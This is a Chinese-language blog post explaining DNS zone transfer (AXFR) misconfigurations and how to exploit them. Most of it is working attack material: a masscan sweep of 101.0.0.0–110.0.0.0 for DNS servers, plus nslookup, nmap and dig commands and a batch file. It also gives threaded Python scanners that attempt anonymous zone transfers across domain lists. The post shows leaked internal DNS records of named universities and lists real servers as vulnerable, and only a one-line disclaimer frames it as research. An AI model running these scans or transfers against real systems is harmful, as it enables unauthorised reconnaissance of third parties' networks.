黑客是如何利用DNS域傳送漏洞進行滲透與攻擊的?

南柯樹下發表於2021-11-06

一、DNS域傳送

DNS :Domain Name System

一個儲存IP地址和域名相互對映關係的分散式資料庫,重要的網際網路基礎設施,預設使用的TCP/UDP埠號是53

 

常見DNS記錄型別:

1 A       IP地址記錄,記錄一個域名對應的IP地址
2 AAAA    IPv6 地址記錄,記錄一個域名對應的IPv6地址
3 CNAME   別名記錄,記錄一個主機的別名 
4 MX      電子郵件交換記錄,記錄一個郵件域名對應的IP地址,如root@xxxx.com
5 NS      域名伺服器記錄 ,記錄該域名由哪臺域名伺服器解析
6 PTR     反向記錄,也即從IP地址到域名的一條記錄
7 TXT     記錄域名的相關文字資訊

 

域傳送 :DNS Zone Transfer

是指後備伺服器從主伺服器拷貝資料,並用得到的資料更新自身資料庫,在主備伺服器之間同步資料庫,需要使用“DNS域傳送”

 

DNS伺服器分為:主伺服器、備份伺服器和快取伺服器

 


 

二、漏洞收集

2.1 利用網路搜尋引擎收集域名伺服器 

shodanhttps://www.shodan.io

 

zoomeyehttps://www.zoomeye.org

 

fofahttps://fofa.so

 

2.2 利用masscan收集dns伺服器 

masscanhttps://github.com/robertdavidgraham/masscan

 

Debian/Ubuntu安裝:

1 sudo apt-get install git gcc make libpcap-dev
2 git clone https://github.com/robertdavidgraham/masscan
3 cd masscan
4 make

 

掃描網段:

1 ./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0

獲得開放53埠的潛在漏洞DNS伺服器物件

 

ns.xml結果去重:

 1 from lxml import etree
 2 port = None
 3 address = None
 4 parsedServers = []
 5 #Opens the file used to store single enteries.
 6 outputFile = open('ns.txt', 'a')
 7 for event, element in etree.iterparse('ns.xml', tag="host"):
 8     for child in element:
 9         if child.tag == 'address':
10             address = child.attrib['addr']
11         if child.tag == 'ports':
12             for a in child:
13                 port = a.attrib['portid']
14         if port > 1 and address > 1:
15             if address not in parsedServers:
16                 print(address)
17                 outputFile.write(address + '\n')
18                 parsedServers.append(address)
19             port = None
20             address = None
21     element.clear()
22 outputFile.close()
23 print('End…………………………')

 

2.3  目標針對 

針對某個目標域名,查詢目標所處域dns伺服器是否有域傳送漏洞,從而獲得橫向滲透的機會和更多的可能性。見下文:

1 nslookup結合dig的科學利用

 

2.4 後人乘涼 

我們稍微無恥一下,用一下別人收集好的dns伺服器與域名:https://github.com/lijiejie/edu-dns-zone-transfer/blob/master/vulnerable_hosts.txt

 

ps: 收集dns伺服器,推測出網段與解析的域,從而檢測DNS是否存在域傳送漏洞

 


 

三、漏洞檢測與利用

3.1 原理

1 DNS伺服器配置不當,導致匿名使用者利用DNS域傳送協議獲取某個域的所有記錄;
2 通過可以實現DNS域傳送協議的程式,嘗試匿名進行DNS域傳送,獲取記錄

 

3.2 危害

1 網路拓撲結構洩露給潛在的攻擊者,包括一些安全性較低的內部主機,如測試伺服器等。直接加快、助長攻擊者的入侵過程

 

3.3 檢測與利用

3.3.1  nslookup 

基本過程:

1 輸入nslookup命令進入互動式shell;
2 server 命令引數設定查詢將要使用的DNS伺服器;
3 ls命令列出某個域中的所有域名;
4 exit命令退出

 

失敗案例

現在域傳送漏洞不太好找

 1 > nslookup
 2 DNS request timed out.
 3     timeout was 2 seconds.
 4 預設伺服器:  UnKnown
 5 Address:  114.114.114.114
 6 
 7 > server ss2.bjfu.edu.cn
 8 預設伺服器:  ss2.bjfu.edu.cn
 9 Address:  202.204.112.67
10 
11 > ls bjfu.edu.cn
12 [ss2.bjfu.edu.cn]
13 *** 無法列出域 bjfu.edu.cn: Query refused
14 DNS 伺服器拒絕將區域 bjfu.edu.cn 傳送到你的計算機。如果這不正確,
15 請檢查 IP 地址 202.204.112.67 的 DNS 伺服器上 bjfu.edu.cn 的
16 區域傳送安全設定。

 

成功案例

 1 > nslookup
 2 預設伺服器:  public1.114dns.com
 3 Address:  114.114.114.114
 4 
 5 > server ring.cugb.edu.cn
 6 預設伺服器:  ring.cugb.edu.cn
 7 Address:  202.204.105.1
 8 
 9 > ls cugb.edu.cn
10 [ring.cugb.edu.cn]
11  cugb.edu.cn.                   NS     server = ring.cugb.edu.cn
12  cugb.edu.cn.                   A      127.0.0.1
13  acm                            A      121.194.86.2
14  bbs                            A      202.204.105.172
15  bm                             A      202.204.105.179
16  bsbm                           A      202.204.105.17
17  bslt                           A      202.204.109.241
18  cas                            A      202.204.105.97
19  ce                             A      202.204.99.249
20  chushi                         A      202.204.105.243
21  cj                             A      202.204.96.111
22  cms                            A      202.204.105.179
23  computer                       A      202.204.96.202
24  csc                            A      202.204.97.60
25  cugblx                         A      202.204.105.173
26 .
27 .
28 .
29 .
30  yx                             A      202.204.105.179
31  zhsh                           A      202.204.105.198
32  zzb                            A      202.204.105.243
33 >

 

非互動式方法 :
為了避免和nslookup交換,可以編寫一個ls.bat

1 echo ls %1 | nslookup – %2

%1代表第一個引數,即xxx.edu.cn 
%2代表第二個引數,即dns.xxx.edu.cn 
echo是回聲命令,原文輸出傳入的引數內容

 

測試dns.xxx.edu.cn伺服器,可以執行命令:

1 ls.bat xxx.edu.cn dns.xxx.edu.cn

 

3.3.2 nmap

1 nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn

dns-zone-transfer.domain指定要查詢的域

dns.xxx.edu.cn為指定的查詢域名伺服器

成功的話會如下所示,列出了指定域中所有的記錄(如果埠遮蔽,就查不出了,不太實用):

 1 > nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn
 2 
 3 Starting Nmap 7.10 ( https://nmap.org ) at ****
 4 Nmap scan report for dns.hzmc.edu.cn (211.86.0.1)
 5 Host is up (0.38s latency).
 6 PORT   STATE SERVICE
 7 53/tcp open  domain
 8 | dns-zone-transfer:
 9 | hzmc.edu.cn.           SOA    ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.
10 | hzmc.edu.cn.           NS     ns.hzmc.edu.cn.
11 | hzmc.edu.cn.           NS     dns.hzmc.edu.cn.
12 | hzmc.edu.cn.           A      211.86.0.1
13 | hzmc.edu.cn.           MX     10 ns.hzmc.edu.cn.
14 | dns.hzmc.edu.cn.       A      211.86.0.1
15 | ftp.hzmc.edu.cn.       CNAME  dns.hzmc.edu.cn.
16 | www.jwc.hzmc.edu.cn.   A      211.86.3.182
17 | www.lib.hzmc.edu.cn.   A      211.86.3.38
18 | www.spdb.hzmc.edu.cn.  A      211.86.0.3
19 | www.hzmc.edu.cn.       A      211.86.0.4
20 | www.yzzp.hzmc.edu.cn.  A      211.86.0.8
21 | www.zwc.hzmc.edu.cn.   A      211.86.2.200
22 |_hzmc.edu.cn.           SOA    ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.
23 
24 Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds

 

3.3.3 dig 

Windows免安裝版dig下載地址:http://download.csdn.net/detail/c465869935/9700646

 

使用命令:

1 dig @dns.xxx.edu.cn axfr xxx.edu.cn

@指定域名伺服器;axfr 為域傳送指令;xxx.edu.cn表示要查詢的域名

 

成功測試:

 1 > dig @ring.cugb.edu.cn axfr cugb.edu.cn
 2 
 3 ; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn
 4 ; (1 server found)
 5 ;; global options: +cmd
 6 cugb.edu.cn.            86400   IN      SOA     ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
 7 cugb.edu.cn.            86400   IN      TXT     "v=spf1 ip4:202.204.105.6/24 ~all"
 8 cugb.edu.cn.            86400   IN      NS      ring.cugb.edu.cn.
 9 cugb.edu.cn.            86400   IN      MX      5 mail.cugb.edu.cn.
10 cugb.edu.cn.            86400   IN      A       127.0.0.1
11 cugb.edu.cn.            86400   IN      AAAA    ::1
12 acm.cugb.edu.cn.        86400   IN      A       121.194.86.2
13 bbs.cugb.edu.cn.        86400   IN      A       202.204.105.172
14 bm.cugb.edu.cn.         86400   IN      A       202.204.105.179
15 .
16 .
17 .
18 .
19 zhsh.cugb.edu.cn.       86400   IN      A       202.204.105.198
20 zzb.cugb.edu.cn.        86400   IN      A       202.204.105.243
21 cugb.edu.cn.            86400   IN      SOA     ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
22 ;; Query time: 46 msec
23 ;; SERVER: 202.204.105.1#53(202.204.105.1)
24 ;; WHEN: ****
25 ;; XFR size: 114 records (messages 1, bytes 2562)

 

dig的批處理利用 For Windows

建立檔案: .LandGrey-Dns-Zone-Transfer-Scan.bat

下載連結:http://download.csdn.net/detail/c465869935/9700869

寫入以下內容:

1 @echo off
2 Rem Build By LandGrey
3 title Dns Zone Transfer Scan
4 echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ 
5 for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%\dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt

 

解釋:

整個批處理主要是for迴圈一行一行的讀取當前目錄下的“/dns-zone-transfer/hostlist.txt”檔案,進行工作; %cd% 代表bat檔案當前目錄;delims=指定分隔符;表示讀取的一行文字以空格來分隔;當然,也可以自己修改分隔符;tokens=1,2 表示取以分隔符分隔的第一個和第二個元素;do後面是具體做的事: 一邊提示正在掃描的域名,一邊掃描域傳送漏洞;在批處理中,%%i用來代指第一個元素,根據字母順序(i,j,k…),%%j指代第二個元素,以此類推; dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替換模版; 這就要求hostlist.txt檔案中的書寫格式應該為:“[dns-server] [domain]”,類似於如下的形式:

1 dns.xxx.edu.cn xxx.edu.cn

%cd%\dig.exe表示 .LandGrey-Dns-Zone-Transfer-Scan.bat檔案要與dig.exe放在同一個目錄下; 最後查詢結果全部儲存在當前目錄下的:“/dns-zone-transfer/ScanResults.txt”檔案中;

 

nslookup結合dig的科學利用 

如果獲得了目標域名,並不清楚目標的主dns伺服器時,可以通過用如下的nslookup語句,先查詢目標域名的主dns伺服器,然後再用dig進行DNS域傳送檢測,最後用python指令碼實現:

1 > nslookup -type=ns landgrey.cn
2 伺服器:  public1.114dns.com
3 Address:  114.114.114.114
4 
5 非權威應答:
6 landgrey.cn     nameserver = dns9.hichina.com
7 landgrey.cn     nameserver = dns10.hichina.com

 

單個查詢(實用)

下載地址:https://github.com/LandGrey/dns-zone-transfer-tester/blob/master/dztester.py

 1 #!/usr/bin/env python
 2 # coding:utf-8
 3 #
 4 # Build by LandGrey 2016-12-03
 5 #
 6 
 7 import re
 8 import os
 9 import sys
10 
11 
12 def dns_zone_tranfer_finder(domain):
13     print('[+] Nslookup %s' % domain)
14     cmd_res = os.popen('nslookup -type=ns ' + domain).read()  # fetch DNS Server List
15     dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)
16     if len(dns_servers) == 0:
17         print('[+] No DNS Server Found!\n')
18         exit(0)
19     for singledns in dns_servers:
20         print('[+] Using @%s' % singledns)
21         cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read()
22         # print cmd_res
23         if cmd_res.find('XFR size') > 0:
24             print('[+] Vulnerable dns server found:'), singledns
25             print(cmd_res)
26         else:
27             print('[+] No Vulnerable found')
28 
29 
30 def usage():
31     print('[+] Usage: python DZT-tester.py [domain]\n')
32 
33 
34 if __name__ == "__main__":
35     if len(sys.argv) != 2:
36         usage()
37     elif '-h' in sys.argv[1]:
38         usage()
39     else:
40         domain = sys.argv[1]
41         print('[+] Test %s' % domain)
42         dns_zone_tranfer_finder(domain)
43         print('[+] Finished!')

 

使用方式:

1 python dztester.py [domain]

 

批量查詢

指令碼同一目錄下應有‘dns-zone-transfer’目錄;'dns-zone-transfer’目錄下有‘dns’子目錄; 要檢測的域名列表存放在‘dns-zone-transfer\domain.txt’中,一行一個;結果存在'dns-zone-transfer\dns'目錄和'dns-zone-transfer\vulnerable_hosts.txt'檔案中

 1 # coding:utf-8
 2 
 3 import re
 4 import os
 5 import sys
 6 import threading
 7 
 8 
 9 def dns_zone_tranfer_finder():
10     global c_index
11     while True:
12         lock.acquire()
13         if c_index >= len(DomainLists):
14             lock.release()
15             break
16         domain = DomainLists[c_index].lstrip('www.')
17         c_index += 1
18         lock.release()
19         cmd_res = os.popen('nslookup -type=ns ' + domain).read()    # fetch DNS Server List
20         dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)
21         for server in dns_servers:
22             if len(server) < 5:
23                 server += domain
24             cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read()
25             if cmd_res.find('XFR size') > 0 \
26                     and cmd_res.find('Transfer failed.') < 0 \
27                     and cmd_res.find('connection timed out') < 0:
28                 lock.acquire()
29                 print('*' * 10 + ' Vulnerable dns server found:', server, '*' * 10)
30                 lock.release()
31                 with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f:
32                     f.write('%s    %s\n' % (server.ljust(30), domain))
33                 with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f:
34                     f.write(cmd_res)
35 
36 
37 if __name__ == "__main__":
38     currentdir = os.path.dirname(sys.argv[0])
39     target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt'))
40     DomainLists = []
41     for host in target.readlines():
42         DomainLists.append(host)
43     print(u'採集 %d 個...' % len(DomainLists))
44     threads = []
45     c_index = 0
46     lock = threading.Lock()
47     for i in range(10):
48         t = threading.Thread(target=dns_zone_tranfer_finder)
49         t.start()
50         threads.append(t)
51     for t in threads:
52         t.join()
53     print('All Done!')

 

漏洞存在標識主要是dig命令結果中出現特徵字串“XFR size”

 

執行起來類似下面這樣:

1 ********** Vulnerable dns server found: nknu.nknu.edu.tw **********
2 ********** Vulnerable dns server found: ns2.ntnu.edu.tw **********
3 ********** Vulnerable dns server found: ns2.must.edu.mo **********
4 All Done!

 


 

 

四、免責宣告

本文僅做技術研究,切勿用本文方法違法犯罪!

 

 


 更多獨家精彩內容  掃碼關注個人公眾號一起Coding吧!


 

——  ——  ——  ——  —  END  ——  ——  ——  ——  ———— 

         歡迎掃碼關注我的公眾號

          小鴻星空科技

       

 

相關文章